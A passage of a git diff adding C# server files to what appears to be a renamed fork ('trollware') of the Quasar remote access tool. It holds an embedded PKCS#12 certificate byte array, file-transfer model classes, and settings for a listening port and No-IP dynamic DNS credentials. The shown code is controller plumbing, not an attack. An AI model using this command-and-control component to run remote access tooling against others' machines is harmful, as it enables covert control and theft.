1, 160, 130, 10, 162, + 4, 130, 10, 158, 48, 130, 10, 154, 48, 130, 10, 150, 6, 11, 42, 134, 72, 134, 247, 13, 1, 12, 10, 1, 2, 160, + 130, 9, 126, 48, 130, 9, 122, 48, 28, 6, 10, 42, 134, 72, 134, 247, 13, 1, 12, 1, 3, 48, 14, 4, 8, 55, 218, + 160, 56, 14, 249, 193, 233, 2, 2, 7, 208, 4, 130, 9, 88, 200, 194, 253, 138, 219, 236, 70, 232, 138, 10, 70, + 100, 167, 76, 74, 50, 45, 18, 111, 58, 93, 132, 87, 28, 203, 147, 242, 255, 250, 211, 45, 70, 61, 227, 211, + 189, 24, 140, 30, 238, 231, 207, 40, 100, 115, 10, 78, 79, 243, 48, 109, 55, 71, 46, 223, 169, 135, 33, 119, + 67, 58, 16, 65, 45, 3, 94, 57, 129, 84, 18, 83, 77, 105, 100, 87, 180, 125, 168, 229, 247, 113, 150, 224, + 249, 36, 150, 140, 88, 20, 195, 200, 125, 3, 161, 133, 194, 135, 71, 196, 59, 7, 101, 146, 63, 140, 0, 0, + 190, 166, 13, 86, 157, 225, 181, 78, 176, 62, 206, 73, 30, 69, 99, 65, 197, 122, 75, 135, 21, 122, 19, 110, + 25, 0, 19, 130, 90, 74, 32, 117, 253, 141, 107, 149, 94, 122, 121, 251, 129, 17, 152, 23, 148, 19, 81, 178, + 237, 190, 85, 253, 215, 145, 119, 77, 0, 69, 76, 148, 226, 232, 121, 200, 51, 213, 142, 55, 68, 238, 132, + 80, 196, 163, 175, 246, 6, 205, 164, 59, 159, 111, 72, 42, 100, 8, 37, 152, 69, 241, 237, 217, 20, 168, 30, + 168, 54, 131, 47, 127, 229, 13, 24, 33, 109, 37, 254, 105, 168, 48, 81, 20, 166, 150, 43, 242, 139, 104, + 209, 134, 51, 8, 6, 255, 107, 49, 40, 140, 41, 130, 238, 6, 193, 51, 203, 107, 144, 43, 60, 118, 9, 243, 96, + 45, 212, 72, 129, 126, 204, 180, 165, 208, 158, 174, 244, 42, 241, 148, 107, 231, 233, 80, 117, 114, 204, + 37, 80, 246, 180, 99, 138, 254, 132, 96, 235, 171, 136, 82, 198, 55, 115, 203, 195, 180, 150, 155, 182, 73, + 191, 146, 194, 83, 98, 114, 100, 93, 146, 25, 36, 71, 169, 179, 22, 119, 49, 38, 60, 147, 27, 32, 168, 45, + 140, 6, 83, 44, 14, 226, 54, 122, 98, 105, 50, 191, 166, 12, 102, 226, 110, 220, 54, 42, 141, 93, 11, 200, + 172, 94, 19, 75, 164, 69, 17, 145, 108, 138, 54, 226, 47, 226, 2, 6, 209, 217, 27, 136, 7, 189, 189, 20, 60, + 77, 186, 166, 233, 243, 15, 2, 62, 82, 219, 35, 144, 191, 26, 21, 20, 200, 92, 70, 215, 127, 243, 180, 125, + 222, 249, 91, 125, 54, 117, 123, 0, 86, 65, 156, 222, 235, 164, 184, 54, 117, 24, 176, 198, 242, 144, 109, + 212, 0, 195, 16, 219, 74, 28, 101, 99, 107, 102, 202, 58, 247, 59, 220, 218, 57, 245, 103, 90, 85, 252, 205, + 105, 125, 109, 154, 142, 77, 76, 146, 49, 222, 17, 149, 128, 106, 106, 231, 75, 106, 4, 127, 146, 15, 143, + 40, 136, 178, 225, 61, 123, 70, 135, 188, 34, 235, 63, 89, 77, 154, 55, 65, 194, 36, 70, 61, 176, 80, 33, + 69, 224, 131, 147, 75, 240, 179, 195, 45, 226, 152, 9, 142, 95, 30, 108, 203, 1, 179, 113, 138, 86, 3, 155, + 17, 171, 178, 179, 200, 172, 189, 230, 211, 167, 111, 219, 157, 175, 110, 33, 53, 162, 249, 155, 110, 249, + 159, 120, 168, 146, 98, 119, 140, 238, 13, 77, 16, 35, 183, 200, 20, 74, 25, 105, 245, 48, 91, 75, 210, 195, + 168, 76, 172, 157, 202, 203, 108, 34, 162, 141, 136, 183, 111, 195, 40, 142, 151, 95, 157, 57, 211, 5, 127, + 199, 170, 45, 192, 147, 52, 17, 75, 197, 52, 214, 172, 126, 206, 134, 135, 204, 128, 251, 33, 36, 238, 83, + 74, 59, 166, 161, 177, 59, 226, 243, 152, 190, 168, 212, 127, 120, 115, 65, 76, 132, 115, 150, 146, 225, + 210, 208, 114, 121, 11, 107, 230, 225, 140, 250, 169, 215, 83, 231, 124, 35, 207, 76, 20, 69, 31, 184, 210, + 184, 55, 170, 226, 118, 0, 252, 105, 91, 201, 82, 36, 4, 45, 135, 38, 168, 81, 202, 91, 49, 217, 213, 26, + 210, 77, 37, 5, 57, 71, 227, 23, 58, 18, 221, 194, 34, 88, 218, 219, 124, 48, 230, 8, 239, 185, 169, 150, + 190, 246, 112, 92, 208, 93, 160, 248, 197, 64, 196, 20, 20, 11, 239, 147, 195, 179, 47, 136, 153, 24, 143, + 103, 57, 88, 246, 122, 63, 203, 165, 192, 130, 130, 228, 235, 45, 36, 103, 235, 165, 72, 130, 45, 222, 212, + 50, 179, 154, 77, 71, 102, 1, 44, 21, 19, 215, 240, 134, 231, 124, 222, 168, 210, 191, 141, 7, 193, 102, + 148, 81, 46, 6, 111, 14, 14, 48, 29, 21, 54, 166, 217, 32, 106, 240, 69, 137, 171, 58, 217, 110, 79, 172, + 92, 198, 174, 177, 196, 10, 10, 214, 105, 43, 125, 185, 217, 58, 252, 60, 229, 252, 126, 109, 79, 234, 35, + 215, 121, 141, 120, 21, 222, 174, 186, 64, 190, 244, 66, 251, 17, 168, 85, 199, 233, 182, 233, 75, 107, 0, + 176, 71, 27, 167, 216, 84, 78, 115, 128, 177, 20, 104, 248, 219, 68, 95, 250, 30, 126, 25, 223, 195, 17, 76, + 245, 157, 52, 91, 201, 180, 142, 110, 114, 229, 89, 65, 43, 72, 2, 44, 85, 207, 69, 15, 189, 152, 230, 94, + 245, 153, 171, 151, 15, 38, 177, 167, 28, 206, 43, 190, 125, 8, 106, 233, 168, 156, 106, 196, 116, 163, 130, + 10, 247, 189, 5, 181, 50, 254, 76, 158, 252, 132, 192, 117, 97, 158, 141, 33, 184, 27, 118, 101, 224, 128, + 59, 18, 247, 205, 18, 129, 45, 115, 122, 139, 11, 35, 18, 227, 210, 131, 181, 24, 41, 10, 177, 203, 116, + 241, 106, 117, 133, 217, 104, 173, 161, 44, 114, 98, 234, 7, 165, 200, 89, 183, 148, 230, 84, 129, 196, 142, + 146, 208, 121, 38, 64, 124, 23, 23, 181, 182, 54, 122, 142, 127, 204, 56, 30, 92, 113, 123, 182, 97, 186, + 214, 44, 237, 20, 141, 47, 38, 47, 197, 69, 237, 13, 5, 244, 220, 251, 31, 45, 223, 195, 193, 42, 136, 36, + 150, 133, 161, 244, 29, 82, 228, 253, 63, 147, 254, 58, 92, 194, 4, 162, 190, 16, 61, 177, 222, 122, 10, 73, + 106, 196, 243, 153, 240, 22, 223, 123, 107, 193, 59, 23, 45, 129, 14, 12, 184, 85, 22, 233, 165, 212, 188, + 30, 68, 154, 206, 135, 223, 170, 149, 242, 10, 55, 73, 215, 162, 5, 53, 75, 45, 179, 62, 160, 240, 145, 200, + 154, 61, 75, 135, 108, 33, 16, 206, 89, 185, 120, 182, 229, 224, 31, 98, 244, 136, 229, 55, 205, 55, 75, + 237, 41, 122, 64, 160, 189, 1, 15, 245, 126, 248, 74, 130, 135, 237, 66, 207, 142, 192, 217, 123, 74, 140, + 44, 93, 199, 145, 157, 103, 12, 235, 224, 194, 168, 213, 49, 82, 251, 182, 219, 240, 37, 197, 255, 120, 151, + 99, 204, 210, 191, 231, 8, 230, 241, 3, 136, 120, 234, 38, 251, 234, 130, 231, 30, 6, 123, 12, 147, 83, 195, + 107, 233, 97, 131, 124, 237, 7, 119, 16, 61, 243, 36, 24, 53, 8, 140, 85, 158, 232, 206, 234, 21, 163, 245, + 160, 171, 174, 130, 206, 74, 19, 178, 161, 187, 9, 69, 121, 179, 67, 24, 139, 165, 161, 189, 246, 203, 36, + 215, 192, 64, 32, 34, 201, 135, 179, 135, 111, 148, 202, 214, 11, 125, 200, 194, 8, 254, 86, 31, 134, 127, + 118, 217, 108, 94, 58, 158, 238, 164, 51, 65, 142, 247, 19, 244, 154, 56, 17, 159, 173, 138, 182, 220, 118, + 239, 73, 245, 229, 183, 44, 206, 238, 154, 153, 111, 97, 130, 52, 150, 241, 191, 20, 5, 237, 122, 12, 74, + 23, 154, 29, 229, 255, 210, 254, 180, 215, 111, 62, 254, 8, 69, 226, 216, 142, 183, 6, 114, 37, 178, 215, + 191, 166, 72, 34, 86, 77, 154, 110, 211, 90, 14, 233, 200, 43, 232, 193, 206, 26, 38, 76, 111, 187, 90, 118, + 142, 122, 92, 96, 124, 187, 144, 0, 164, 134, 211, 88, 60, 17, 169, 76, 105, 77, 243, 27, 155, 93, 33, 13, + 3, 184, 184, 220, 19, 174, 221, 225, 121, 112, 99, 122, 173, 96, 14, 98, 244, 42, 187, 57, 108, 8, 214, 60, + 77, 113, 249, 110, 152, 96, 52, 186, 176, 201, 142, 21, 204, 41, 163, 3, 192, 99, 140, 189, 152, 13, 65, + 222, 220, 49, 45, 202, 210, 249, 122, 135, 178, 19, 49, 16, 149, 203, 203, 62, 131, 91, 17, 171, 164, 149, + 34, 226, 96, 123, 32, 141, 102, 158, 186, 241, 59, 192, 186, 36, 41, 133, 115, 108, 121, 34, 104, 57, 141, + 167, 160, 58, 95, 171, 215, 122, 153, 129, 166, 10, 190, 60, 51, 70, 157, 141, 11, 104, 255, 111, 160, 173, + 174, 77, 83, 63, 130, 219, 36, 90, 254, 34, 55, 195, 216, 112, 194, 15, 126, 149, 143, 145, 175, 72, 24, + 120, 140, 217, 215, 27, 107, 240, 196, 196, 234, 81, 154, 152, 12, 44, 108, 173, 210, 32, 181, 172, 148, 75, + 71, 89, 136, 224, 28, 229, 121, 76, 64, 60, 200, 60, 200, 88, 193, 217, 252, 162, 181, 215, 99, 86, 47, 181, + 16, 49, 65, 158, 78, 130, 204, 188, 196, 25, 224, 201, 106, 237, 103, 183, 96, 58, 64, 185, 28, 66, 178, + 213, 47, 103, 26, 89, 33, 97, 248, 34, 232, 27, 30, 93, 57, 1, 236, 105, 46, 59, 4, 188, 47, 182, 150, 65, + 195, 107, 203, 52, 149, 240, 16, 130, 254, 189, 98, 56, 221, 177, 163, 66, 62, 123, 0, 252, 169, 178, 166, + 68, 167, 75, 64, 161, 80, 85, 196, 98, 209, 248, 46, 115, 188, 0, 160, 123, 147, 79, 151, 188, 206, 158, + 145, 42, 212, 205, 37, 163, 76, 221, 146, 51, 229, 181, 127, 53, 157, 142, 107, 215, 231, 181, 32, 110, 2, + 13, 55, 122, 56, 226, 158, 126, 124, 193, 193, 172, 222, 9, 211, 83, 166, 69, 95, 145, 169, 31, 211, 139, + 62, 215, 90, 226, 244, 129, 197, 143, 228, 185, 206, 236, 90, 218, 189, 234, 69, 57, 25, 49, 152, 175, 211, + 136, 202, 160, 116, 56, 118, 27, 204, 213, 3, 163, 97, 194, 156, 213, 7, 9, 254, 203, 230, 252, 173, 231, + 197, 135, 224, 3, 206, 157, 166, 193, 184, 153, 57, 253, 229, 87, 234, 118, 50, 163, 151, 53, 82, 206, 36, + 206, 128, 41, 180, 11, 30, 110, 49, 216, 236, 201, 46, 88, 157, 92, 221, 106, 88, 82, 198, 33, 91, 171, 117, + 88, 146, 58, 2, 30, 233, 215, 105, 141, 228, 183, 124, 244, 231, 224, 165, 131, 9, 33, 230, 211, 56, 215, + 221, 38, 141, 158, 48, 250, 119, 102, 226, 206, 32, 70, 140, 53, 210, 12, 206, 88, 220, 35, 2, 195, 157, 7, + 9, 215, 158, 85, 149, 89, 101, 46, 3, 253, 195, 82, 2, 12, 19, 149, 52, 209, 8, 242, 145, 34, 109, 185, 236, + 18, 2, 109, 96, 251, 3, 169, 68, 185, 63, 6, 213, 239, 100, 248, 111, 131, 243, 252, 214, 16, 140, 38, 159, + 138, 17, 141, 98, 96, 137, 140, 243, 11, 120, 69, 229, 212, 71, 2, 254, 98, 171, 207, 69, 72, 70, 186, 83, + 193, 208, 174, 125, 197, 148, 69, 35, 147, 134, 156, 106, 41, 72, 111, 140, 65, 185, 110, 212, 225, 34, 198, + 198, 47, 142, 160, 78, 217, 170, 7, 114, 50, 164, 217, 15, 37, 186, 211, 124, 75, 133, 64, 165, 120, 246, + 22, 226, 204, 186, 137, 154, 130, 142, 238, 147, 188, 206, 129, 19, 177, 117, 166, 180, 211, 16, 221, 29, + 112, 161, 109, 137, 224, 173, 205, 53, 158, 63, 198, 250, 131, 145, 118, 119, 12, 157, 94, 232, 27, 60, 254, + 57, 223, 154, 185, 96, 127, 137, 166, 238, 1, 58, 153, 154, 188, 9, 89, 20, 102, 191, 2, 106, 31, 27, 11, + 221, 206, 26, 145, 142, 192, 196, 28, 230, 213, 149, 52, 63, 48, 137, 25, 254, 27, 205, 207, 20, 5, 12, 37, + 34, 98, 188, 70, 50, 181, 187, 224, 166, 251, 59, 47, 226, 11, 130, 158, 52, 28, 70, 162, 165, 49, 111, 198, + 39, 64, 90, 213, 7, 91, 38, 95, 126, 160, 222, 205, 89, 27, 39, 1, 148, 126, 204, 179, 207, 235, 184, 7, 74, + 37, 64, 189, 167, 234, 196, 149, 160, 24, 111, 152, 246, 17, 184, 83, 189, 158, 106, 78, 221, 108, 87, 128, + 113, 112, 207, 53, 93, 48, 65, 128, 64, 194, 141, 126, 185, 130, 190, 66, 1, 20, 245, 213, 137, 66, 119, 18, + 225, 24, 225, 193, 179, 76, 132, 207, 169, 66, 221, 180, 135, 80, 17, 52, 243, 129, 80, 64, 151, 14, 65, + 233, 83, 72, 49, 251, 59, 67, 92, 87, 110, 34, 77, 14, 168, 126, 236, 155, 238, 213, 60, 233, 173, 83, 150, + 105, 241, 255, 97, 54, 48, 32, 93, 52, 30, 25, 227, 37, 151, 191, 46, 59, 19, 19, 225, 68, 161, 179, 19, + 144, 207, 67, 230, 67, 45, 197, 4, 162, 215, 43, 80, 96, 124, 130, 246, 27, 164, 94, 174, 205, 98, 102, 83, + 173, 247, 21, 11, 250, 32, 119, 29, 77, 42, 190, 97, 134, 48, 219, 57, 50, 52, 55, 184, 242, 109, 136, 100, + 214, 224, 129, 197, 233, 130, 119, 0, 242, 203, 131, 124, 175, 210, 225, 56, 53, 238, 177, 236, 77, 173, 82, + 83, 223, 217, 232, 149, 146, 184, 166, 40, 126, 134, 34, 50, 204, 75, 120, 124, 62, 139, 166, 244, 2, 38, + 172, 55, 41, 38, 206, 160, 17, 30, 163, 160, 110, 81, 182, 56, 1, 225, 252, 100, 24, 24, 231, 188, 239, 106, + 162, 108, 87, 120, 51, 80, 96, 184, 252, 121, 238, 164, 197, 30, 205, 52, 54, 95, 27, 96, 227, 161, 87, 127, + 98, 255, 5, 10, 92, 76, 93, 110, 237, 22, 176, 152, 10, 145, 194, 233, 38, 148, 237, 233, 134, 202, 52, 239, + 169, 47, 243, 189, 103, 232, 142, 146, 215, 49, 130, 1, 3, 48, 19, 6, 9, 42, 134, 72, 134, 247, 13, 1, 9, + 21, 49, 6, 4, 4, 1, 0, 0, 0, 48, 113, 6, 9, 42, 134, 72, 134, 247, 13, 1, 9, 20, 49, 100, 30, 98, 0, 66, 0, + 111, 0, 117, 0, 110, 0, 99, 0, 121, 0, 67, 0, 97, 0, 115, 0, 116, 0, 108, 0, 101, 0, 45, 0, 97, 0, 48, 0, + 48, 0, 101, 0, 98, 0, 48, 0, 102, 0, 54, 0, 45, 0, 98, 0, 50, 0, 99, 0, 54, 0, 45, 0, 52, 0, 51, 0, 57, 0, + 57, 0, 45, 0, 98, 0, 56, 0, 52, 0, 52, 0, 45, 0, 52, 0, 102, 0, 55, 0, 98, 0, 56, 0, 97, 0, 53, 0, 99, 0, + 99, 0, 97, 0, 51, 0, 101, 48, 121, 6, 9, 43, 6, 1, 4, 1, 130, 55, 17, 1, 49, 108, 30, 106, 0, 77, 0, 105, 0, + 99, 0, 114, 0, 111, 0, 115, 0, 111, 0, 102, 0, 116, 0, 32, 0, 69, 0, 110, 0, 104, 0, 97, 0, 110, 0, 99, 0, + 101, 0, 100, 0, 32, 0, 82, 0, 83, 0, 65, 0, 32, 0, 97, 0, 110, 0, 100, 0, 32, 0, 65, 0, 69, 0, 83, 0, 32, 0, + 67, 0, 114, 0, 121, 0, 112, 0, 116, 0, 111, 0, 103, 0, 114, 0, 97, 0, 112, 0, 104, 0, 105, 0, 99, 0, 32, 0, + 80, 0, 114, 0, 111, 0, 118, 0, 105, 0, 100, 0, 101, 0, 114, 48, 130, 5, 143, 6, 9, 42, 134, 72, 134, 247, + 13, 1, 7, 6, 160, 130, 5, 128, 48, 130, 5, 124, 2, 1, 0, 48, 130, 5, 117, 6, 9, 42, 134, 72, 134, 247, 13, + 1, 7, 1, 48, 28, 6, 10, 42, 134, 72, 134, 247, 13, 1, 12, 1, 3, 48, 14, 4, 8, 197, 180, 184, 234, 62, 183, + 126, 192, 2, 2, 7, 208, 128, 130, 5, 72, 82, 253, 63, 238, 110, 242, 96, 184, 169, 64, 162, 143, 164, 116, + 242, 201, 183, 48, 112, 176, 72, 130, 247, 187, 199, 107, 16, 243, 59, 238, 135, 24, 177, 105, 228, 132, 35, + 235, 193, 103, 217, 193, 235, 32, 106, 47, 90, 187, 129, 92, 191, 73, 144, 37, 5, 197, 190, 39, 243, 83, 21, + 161, 49, 59, 4, 20, 196, 238, 174, 98, 66, 242, 28, 1, 64, 47, 11, 244, 179, 45, 233, 11, 14, 243, 228, 32, + 116, 163, 144, 99, 153, 3, 60, 140, 225, 179, 5, 36, 120, 230, 202, 163, 174, 255, 75, 237, 233, 47, 60, + 199, 128, 161, 221, 232, 62, 29, 141, 232, 203, 237, 235, 192, 63, 11, 131, 67, 115, 141, 127, 14, 162, 124, + 17, 103, 207, 77, 158, 149, 108, 91, 67, 135, 123, 167, 133, 118, 22, 129, 57, 232, 95, 163, 123, 170, 191, + 180, 46, 205, 125, 163, 109, 20, 74, 227, 189, 68, 215, 146, 212, 38, 127, 73, 195, 207, 222, 227, 134, 145, + 6, 21, 223, 217, 237, 134, 129, 140, 153, 182, 143, 250, 219, 162, 254, 157, 18, 16, 141, 176, 249, 165, + 118, 85, 98, 35, 139, 214, 165, 27, 23, 63, 182, 201, 104, 202, 124, 81, 213, 194, 8, 108, 81, 126, 142, + 221, 175, 122, 165, 16, 153, 170, 31, 178, 122, 86, 73, 133, 136, 34, 177, 129, 90, 72, 24, 251, 91, 246, + 76, 186, 195, 122, 227, 93, 26, 71, 137, 201, 99, 222, 196, 156, 62, 195, 88, 46, 29, 254, 83, 23, 41, 143, + 103, 111, 79, 206, 5, 207, 10, 168, 23, 18, 197, 245, 24, 70, 154, 226, 196, 70, 147, 119, 217, 198, 196, + 171, 33, 121, 64, 180, 51, 50, 85, 57, 93, 179, 240, 248, 233, 139, 7, 191, 75, 193, 123, 119, 42, 239, 228, + 95, 145, 90, 67, 178, 119, 229, 71, 139, 57, 188, 152, 152, 153, 155, 1, 94, 238, 174, 215, 145, 56, 255, + 190, 101, 2, 136, 71, 228, 28, 7, 0, 166, 10, 122, 152, 40, 39, 125, 97, 206, 39, 41, 119, 61, 87, 14, 234, + 251, 29, 109, 14, 132, 20, 234, 182, 228, 218, 39, 4, 5, 118, 22, 37, 249, 138, 243, 253, 137, 27, 151, 87, + 27, 37, 77, 149, 96, 152, 24, 56, 1, 64, 231, 162, 137, 243, 105, 255, 97, 35, 41, 12, 25, 197, 79, 167, 79, + 187, 73, 229, 148, 253, 203, 46, 186, 201, 126, 225, 0, 218, 151, 176, 14, 243, 43, 178, 128, 153, 47, 182, + 215, 45, 3, 39, 191, 73, 215, 148, 26, 15, 98, 88, 41, 241, 160, 143, 77, 208, 218, 204, 113, 105, 169, 170, + 181, 93, 137, 112, 248, 17, 158, 240, 115, 117, 9, 220, 50, 103, 126, 151, 227, 146, 168, 132, 214, 100, + 167, 30, 113, 117, 163, 174, 177, 1, 88, 191, 53, 218, 213, 48, 39, 62, 179, 88, 37, 212, 69, 173, 199, 226, + 152, 80, 175, 165, 79, 67, 212, 249, 70, 109, 3, 160, 46, 253, 197, 14, 75, 79, 48, 4, 128, 217, 254, 167, + 114, 126, 46, 179, 36, 64, 3, 48, 216, 53, 50, 100, 80, 141, 48, 100, 32, 60, 109, 58, 216, 38, 218, 242, + 28, 117, 187, 163, 193, 168, 78, 6, 27, 200, 73, 103, 204, 80, 85, 174, 61, 143, 227, 84, 226, 127, 196, + 151, 18, 5, 128, 12, 187, 137, 68, 219, 159, 132, 113, 105, 243, 230, 96, 50, 26, 88, 102, 78, 102, 76, 14, + 252, 89, 180, 192, 85, 243, 127, 87, 123, 233, 136, 17, 174, 223, 103, 203, 187, 56, 129, 229, 199, 190, + 120, 25, 18, 61, 140, 197, 3, 66, 10, 65, 217, 235, 165, 62, 112, 119, 101, 106, 184, 203, 169, 184, 115, 2, + 205, 8, 125, 153, 84, 195, 215, 139, 249, 195, 102, 108, 79, 23, 177, 131, 212, 229, 39, 8, 176, 233, 188, + 216, 199, 37, 109, 122, 101, 81, 98, 178, 167, 215, 12, 37, 27, 137, 165, 249, 131, 40, 202, 162, 36, 184, + 88, 76, 185, 246, 167, 125, 116, 198, 109, 135, 98, 124, 223, 188, 186, 216, 155, 224, 237, 140, 52, 203, + 89, 65, 121, 251, 216, 85, 212, 164, 98, 204, 253, 102, 246, 19, 158, 187, 186, 60, 94, 44, 62, 147, 243, + 183, 82, 6, 28, 87, 198, 133, 28, 129, 12, 55, 84, 163, 238, 46, 176, 28, 132, 44, 199, 234, 28, 73, 27, + 190, 108, 85, 146, 53, 248, 134, 30, 227, 172, 250, 77, 225, 101, 105, 167, 99, 214, 192, 31, 3, 96, 52, 51, + 237, 165, 164, 101, 228, 88, 251, 44, 142, 225, 98, 72, 180, 50, 13, 66, 59, 173, 238, 197, 168, 188, 28, + 135, 195, 69, 247, 87, 216, 50, 52, 227, 16, 127, 162, 23, 58, 20, 120, 62, 184, 62, 122, 23, 209, 110, 168, + 26, 1, 182, 1, 130, 111, 224, 191, 93, 202, 68, 76, 243, 38, 225, 80, 219, 232, 145, 191, 84, 27, 69, 41, + 125, 229, 148, 119, 183, 52, 95, 219, 152, 41, 182, 89, 254, 166, 155, 125, 26, 233, 98, 150, 146, 10, 53, + 171, 176, 31, 138, 99, 74, 34, 228, 72, 202, 5, 120, 160, 135, 185, 222, 227, 42, 233, 74, 219, 101, 213, 2, + 112, 46, 108, 45, 49, 158, 185, 241, 83, 240, 167, 0, 140, 160, 194, 171, 2, 150, 96, 145, 214, 109, 31, 83, + 84, 62, 147, 54, 236, 193, 231, 187, 223, 83, 62, 251, 24, 79, 41, 30, 133, 241, 251, 191, 90, 187, 231, + 123, 115, 120, 41, 32, 134, 228, 202, 91, 81, 112, 34, 201, 223, 39, 208, 79, 117, 244, 151, 247, 98, 125, + 193, 220, 152, 195, 226, 1, 135, 24, 13, 227, 1, 24, 226, 101, 167, 131, 219, 173, 198, 31, 113, 248, 174, + 125, 159, 108, 79, 129, 7, 253, 13, 148, 21, 24, 123, 46, 56, 195, 15, 151, 197, 50, 251, 8, 48, 14, 164, + 51, 101, 46, 186, 241, 222, 221, 24, 99, 236, 255, 76, 3, 236, 67, 81, 154, 144, 196, 18, 119, 139, 127, + 241, 1, 89, 102, 172, 142, 87, 134, 56, 81, 120, 191, 242, 168, 237, 47, 143, 117, 146, 179, 137, 123, 243, + 14, 116, 94, 46, 219, 228, 209, 9, 94, 245, 83, 145, 153, 5, 62, 120, 49, 23, 36, 202, 50, 168, 108, 206, + 236, 119, 112, 187, 112, 120, 134, 62, 252, 108, 143, 115, 235, 254, 196, 119, 60, 163, 223, 188, 175, 57, + 77, 236, 99, 99, 197, 127, 196, 39, 58, 39, 24, 10, 212, 227, 37, 248, 219, 112, 161, 176, 82, 199, 97, 179, + 252, 60, 98, 209, 44, 161, 5, 63, 54, 154, 66, 9, 1, 56, 42, 25, 140, 75, 177, 135, 136, 212, 18, 241, 178, + 235, 115, 17, 99, 158, 113, 17, 4, 192, 30, 176, 238, 68, 171, 120, 76, 52, 145, 103, 30, 242, 130, 185, 85, + 19, 50, 180, 88, 213, 4, 62, 190, 238, 172, 203, 145, 233, 45, 53, 228, 144, 16, 180, 96, 89, 231, 141, 146, + 106, 199, 65, 241, 227, 173, 126, 204, 183, 18, 8, 18, 223, 196, 225, 151, 115, 0, 101, 21, 96, 49, 47, 130, + 18, 204, 70, 52, 189, 5, 107, 171, 47, 36, 209, 8, 166, 23, 183, 222, 154, 226, 13, 197, 166, 222, 197, 182, + 50, 155, 180, 156, 105, 244, 205, 226, 29, 128, 90, 126, 38, 9, 166, 195, 86, 22, 107, 253, 160, 163, 95, + 15, 23, 254, 115, 14, 219, 16, 159, 217, 116, 28, 13, 199, 147, 205, 182, 225, 185, 207, 89, 192, 169, 93, + 205, 226, 196, 204, 23, 168, 185, 121, 109, 126, 52, 222, 109, 248, 235, 64, 88, 101, 188, 246, 150, 193, + 90, 29, 131, 134, 149, 170, 240, 146, 169, 149, 250, 17, 49, 162, 6, 233, 194, 83, 210, 129, 141, 76, 115, + 151, 173, 48, 59, 48, 31, 48, 7, 6, 5, 43, 14, 3, 2, 26, 4, 20, 46, 139, 176, 16, 247, 139, 61, 176, 37, 63, + 246, 211, 123, 201, 3, 7, 235, 129, 230, 125, 4, 20, 175, 27, 113, 89, 19, 230, 155, 210, 161, 63, 10, 47, + 233, 189, 221, 31, 172, 172, 134, 47, 2, 2, 7, 208 + }; + + /// + /// Initializes a new instance of with a static dummy certificate. + /// + public DummyCertificate() :base(CertificateBytes) + { + } + } +} diff --git a/Quasar.Server/Models/FileManagerListTag.cs b/Quasar.Server/Models/FileManagerListTag.cs new file mode 100644 index 0000000..1229c5f --- /dev/null +++ b/Quasar.Server/Models/FileManagerListTag.cs @@ -0,0 +1,17 @@ +using Quasar.Common.Enums; + +namespace Quasar.Server.Models +{ + public class FileManagerListTag + { + public FileType Type { get; set; } + + public long FileSize { get; set; } + + public FileManagerListTag(FileType type, long fileSize) + { + this.Type = type; + this.FileSize = fileSize; + } + } +} diff --git a/Quasar.Server/Models/FileTransfer.cs b/Quasar.Server/Models/FileTransfer.cs new file mode 100644 index 0000000..e35f663 --- /dev/null +++ b/Quasar.Server/Models/FileTransfer.cs @@ -0,0 +1,71 @@ +using Quasar.Common.IO; +using Quasar.Common.Utilities; +using Quasar.Server.Enums; +using System; + +namespace Quasar.Server.Models +{ + public class FileTransfer : IEquatable + { + private static readonly SafeRandom Random = new SafeRandom(); + + public int Id { get; set; } + public TransferType Type { get; set; } + public long Size { get; set; } + public long TransferredSize { get; set; } + public string LocalPath { get; set; } + public string RemotePath { get; set; } + public string Status { get; set; } + public FileSplit FileSplit { get; set; } + + public bool Equals(FileTransfer other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Id == other.Id && Type == other.Type && Size == other.Size && + TransferredSize == other.TransferredSize && string.Equals(LocalPath, other.LocalPath) && + string.Equals(RemotePath, other.RemotePath) && string.Equals(Status, other.Status); + } + + /// + /// Creates a new object that is a copy of the current instance. + /// + /// A new object that is a copy of this instance. + public FileTransfer Clone() + { + return new FileTransfer() + { + Id = Id, Type = Type, Size = Size, TransferredSize = TransferredSize, LocalPath = LocalPath, + RemotePath = RemotePath, Status = Status, FileSplit = FileSplit + }; + } + + public static bool operator ==(FileTransfer f1, FileTransfer f2) + { + if (ReferenceEquals(f1, null)) + return ReferenceEquals(f2, null); + + return f1.Equals(f2); + } + + public static bool operator !=(FileTransfer f1, FileTransfer f2) + { + return !(f1 == f2); + } + + public override bool Equals(object obj) + { + return Equals(obj as FileTransfer); + } + + public override int GetHashCode() + { + return Id; + } + + public static int GetRandomTransferId() + { + return Random.Next(0, int.MaxValue); + } + } +} diff --git a/Quasar.Server/Models/Settings.cs b/Quasar.Server/Models/Settings.cs new file mode 100644 index 0000000..6427e2b --- /dev/null +++ b/Quasar.Server/Models/Settings.cs @@ -0,0 +1,225 @@ +using System.IO; +using System.Windows.Forms; +using System.Xml; +using System.Xml.XPath; + +namespace Quasar.Server.Models +{ + public static class Settings + { + private static readonly string SettingsPath = Path.Combine(Application.StartupPath, "settings.xml"); + + public static readonly string CertificatePath = Path.Combine(Application.StartupPath, "trollware.p12"); + + public static ushort ListenPort + { + get + { + return ushort.Parse(ReadValueSafe("ListenPort", "4782")); + } + set + { + WriteValue("ListenPort", value.ToString()); + } + } + + public static bool IPv6Support + { + get + { + return bool.Parse(ReadValueSafe("IPv6Support", "False")); + } + set + { + WriteValue("IPv6Support", value.ToString()); + } + } + + public static bool AutoListen + { + get + { + return bool.Parse(ReadValueSafe("AutoListen", "False")); + } + set + { + WriteValue("AutoListen", value.ToString()); + } + } + + public static bool ShowPopup + { + get + { + return bool.Parse(ReadValueSafe("ShowPopup", "False")); + } + set + { + WriteValue("ShowPopup", value.ToString()); + } + } + + public static bool UseUPnP + { + get + { + return bool.Parse(ReadValueSafe("UseUPnP", "False")); + } + set + { + WriteValue("UseUPnP", value.ToString()); + } + } + + public static bool ShowToolTip + { + get + { + return bool.Parse(ReadValueSafe("ShowToolTip", "False")); + } + set + { + WriteValue("ShowToolTip", value.ToString()); + } + } + + public static bool EnableNoIPUpdater + { + get + { + return bool.Parse(ReadValueSafe("EnableNoIPUpdater", "False")); + } + set + { + WriteValue("EnableNoIPUpdater", value.ToString()); + } + } + + public static string NoIPHost + { + get + { + return ReadValueSafe("NoIPHost"); + } + set + { + WriteValue("NoIPHost", value); + } + } + + public static string NoIPUsername + { + get + { + return ReadValueSafe("NoIPUsername"); + } + set + { + WriteValue("NoIPUsername", value); + } + } + + public static string NoIPPassword + { + get + { + return ReadValueSafe("NoIPPassword"); + } + set + { + WriteValue("NoIPPassword", value); + } + } + + public static string 